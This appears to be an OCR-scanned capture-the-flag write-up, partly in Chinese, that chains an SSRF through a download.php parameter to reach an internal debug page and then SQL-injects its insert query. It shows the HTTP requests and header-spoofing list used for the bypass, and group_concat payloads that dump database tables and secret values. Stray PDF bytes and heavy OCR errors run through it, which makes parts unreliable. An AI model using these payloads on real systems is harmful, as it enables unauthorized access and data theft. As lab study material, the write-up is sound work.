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{div class="site-demo-button” id="laverDemo” style="margin-bottom: 0;">
<blockquote class="layui—elem—quote layui—quote—nm”>
Tips: {EiXPATRLEH = F & 8 F 0.
</blockquote>
<button data—method="confirmTrans” class="layui-btn">ifi#E$L/~</button>
</div>
<div id="body”>
{form name="forml” method="get” action="secure/default.php” id="forml”>
{div>
¢span id="1blRegister”> A difrH X</ span>
<label>
<a href="download. php?dl=ssrf” > paper. </a>
</label>
</divy
{/form>
<fdivy
{script src¢="layui/layui. js” charset="utf-8"></script>
{script>
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<< /Length 5 0 R /Filter /FlateDecode >>
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endstream

endobj

5 0 obj
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endobj

2 0 obj

<< /Type /Page /Parent 3 0 R /Resources 6 0 R /Contents 4 0 R /MediaBox [0 0 1024 768)
>>

endob3

6 0 obj

<< /ProcSet [ /PDF /Text /ImageB /ImageC /Imagel ] /ColorSpace << /Cs2
/Cs1 7 0 R >> /Font << /TT1.0 9 0 R >> /XObject << /Iml 10 O R /Im2 12
>> /Properties << /P11l 15 0 R >> >>

endobj

10 0 obj

<< /Length 11 0 R /Type /XObject /Subtype /Image /Width 503 /Height 42 /Interpolate

true /ColorSpace 8 0 R /SMask 16 0 R /BitsPerComponent 8 /Filter /FlateDecode

>>

stream

x08%0

$0m074Ea$¢000M00 " 600000 *$S000M00 * $6000M00 * $$000MA00 * $6000A00 *$6000A00 * $S000AD0 * $6000M00 * $000M00 " $S000A00 * $€000A00 “$€000MA00 "
endstream
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HTTP method:
eports/111.200.241.2.
rrors-21-11-07_16
Target:

[16:29:38] starting:

1Jj In] secret/
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Index of /secret

Name Last modified Size Description

a Parent Directory

B secret. php

@ secret_debug. php 2018-09-12 01:54 6. 6K

2018-09-12 01:54 7. 5K

Apache/2 4. 7 (Ubuntu) Server at 111.200.241. 244 Port 57750
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Registration Success
SUCCESSFULLY REGISTERED

Confirm that the following data is correct so we know it was stored correctly in our database.
Name: C, A
DoB: 11/11/1111

Back
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You (113.240.168.154) do not have access to this page...

QO 8 111.200.241.244:57750/secret/secret php?s=3&txtfirst name=A&txtmiddle name=B&txtlast name=C&txtname suffix=D&txtd B8 ¥

O & 111.200.241.244:57750/secret/secret_debug.php

oM
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ik X-Forwarded-For, Client-IP, x-forwarded-fot, x-remote-IP, x-originating-IP, x-remote-ip, x-remote-
addr, x-client-IP, x-client-ip, x-Real-ip, jjinjsecret_debug.php#i# A f, #Il— T secret.phpiE ML,
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GET

\/secret/secret php?s=3&txtfirst_name=A&txtmiddle_name=B&txtLast_name=C&txtname_suffix=D&txtdob=11%2F11%2F 1111 &txtdl_nmbr=1
|8&txtRetypeDL=15&btnContinue2=Continue HTTP/1.1

|Host: 111.200.241 244:57750

|User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0

Accept: text/html application/xhtml+xml application/xml:q=0 9 image/avif image/wehp *;q=0.8

Accept-Language: zh-CN zh:q=08,zh-TW;q=0.7 zh-HK g=0.5 en-US: g=0.3,en: =02

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Referer:

http://111.200.241.244:57750/secret/secrat. php?s=28&rbCitizen=Y &rbAge=Y &rbResident=Y &rbFelony=rbFelony1&btnContinue=Continue
Upgrade-Insecure-Requests: 1

HTTP/.1 200 OK

Date: Sun, 07 Nov 2021 10:41:09 GMT
Server: Apache/2.4.7 (Ubuntu)
%-Powered-By: PHP/S 5.9-1ubuntud. 22
Vary: Accept-Encoding
Content-Length: 776

Connection: clase

Content-Type: text/html

<html>
<link rel="stylzshest" href="_ /layui/css/layui.css" media="all">
<link rel="stylzsheet" href="_/layui/css/global css" media="all">

Registration Success

<form name="marginForm" method="get" action="secret.php?s=2" id="marginForm">
<input type="hidden" value="2" name="s"><finput>

<h4>SUCCESSFULLY REGISTERED</h4>

<p>

Confirm that the following data is correct so we know it was stored correctly in our database.
<ip>
<p»<b>Name: </b>C, A<hr />
<b>DoB: </b>11111111</p>

<button type="button" class="layui-btn layui-btn-normal” onclick="location="_/">Back</button>
bug.php'>#</a> >
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H#: http:/111.200.241.244:57750 @ ‘
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Raw | & | Hex

GET /download.php?di=hitp://127.0.0.1/secret/secrst_dzbug php HTTPA 1

Host: 111.200. 241 244:64659

User-Agent: Mozilla’s.0 (Windows NT WU 0; Wingd; x64; rv94.0) Gecko/20100101 F\refuxfafl (o
Accept: text/html mlq=0.9 image/avif i q=0.8
‘Accept-Languags: zh-CN,zh q=0.8,2h-TWog=0 7 2hHK.4=0.5 en-US, =0 3,6mg=0.2
Accept-Encoding: gzip, deflate

DNT: 1

Connection; close

Referer: http://111.200 241 244:64659/index php

Upgrade-Insecure-Requests: 1

ARART, ATEAI, HLKE.
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HTTP/1.1 404 Not Found

Date: Sun, 07 MNov 2021 11:00:38 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud. 22
Content-Description: File Transfer
Content-Transfer-Encoding: binary
Content-Length: 100

Connection; close

Content-Type: application/octat-stream

File http://127.0.0.1/secret/secret_debug.php.pdf dossnt exist. Please report the errar to admin
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GET . HTTR/1.1 404 Not Found

fdownload.php?dihttp.//127.0.0.1/secret/secret_dsbug. php?s=3%26txtfirst_name%3dA%26txtmiddle_nams%3d5%26txiLast_name%3dC%
Btxtname_sufix %3dD%26txt dob%3d1 %252F 1 %252F 1111%26txtd|_nmbr%3d20%261xi RetypeDL%3d20%26 bin Continus2%3dContinus%26
HTTRA 1

Host: 111,200 241.244:64859

UserAgent: Mozilla/s 0 (Windows NT 10.0; 'Win64; x64; 94 0) Gecko/20100101 Firsfox/4.0

Accept. text/html html+xm, ml:q=0 9 imagafavif, P08

Accept-Language: zh-CH zhq=0.8.2h-TW.q=0.7 zh-HK.q=0.5 en-US; ¢=0.3 eniq=0.2

Accept-Encoding: gzip, dflate

DNIT: 1

Connsction: close

Refarr: hitp://111,200.241 244 6465/index php

Upgrade-Insscurs-Requests: 1

Date: Sun, 07 Nov 2021 11,08:09 GMT
Server: Apachef2.4.7 (Ubuntu)
X-Powersd-By: PHP/5.5.9-1ubuntud 22
Content-Description: Fils Transfar
Content-Transfer-Encading: binary
Content-Length: 451

Connaction: close

Content-Type: application/octet-stizam

Fila

hitp://127.0.0.1/secret/sscret_dsbug. php?s=3&amp; ixtfirst_name=A'&amp;txtmiddis_name=B&amp;txiLast_nams=C&amp;txiname_suffix=
Deamp;trtdob=1%2F 1%2F 1111 &amp; trtdl_nmbr=208amp;xtRatypeDL=20&amp;binContinus2=Continus&amp; pdf dossn't sxist. Plaase
report the srror to admin. . ¥ou have an emor in your SGL syntax; check the manual that corresponds ta your MySQL sarver version for the

tight syntax to use near B 'C'D'"1/1/1111'20 at lins 1 CSDN @oldiE

R IR [F5 2BAEMsqliE ) Inset into xx values (XX, XXX, XX, XX,XX) -

EmE N TR E T C, ARI/11/1111.

8RN AL E A RORBER ZAEC T

sqlifif) AInset into xx values('A,'B','C','D","11/11/1111',"1")’,
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==>} AF A, 'B'(sql),' D/*,

TR BA R
(A,B,'C\'D"11/11/1111'1")

==>('A,'B',(sql),'D'*,'B,'C'D,,'"11/11/1111",'1")’
==>(A,'B'(sql),'D","11/11/1111'1")" B Ih &4 1
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sql=database()

sql=(select(group_concat(table _name))from(information_schema.tables)where(table _schema)="ssrfw')
sql=(select(group_concat(column_name))from(information_schema.columns)where(table _name='cetcYssrf"))
sql=(select(group_concat(secretName))from(cetcYssrf))

sql=(select(group_concat(value))from(cetcYssrf))
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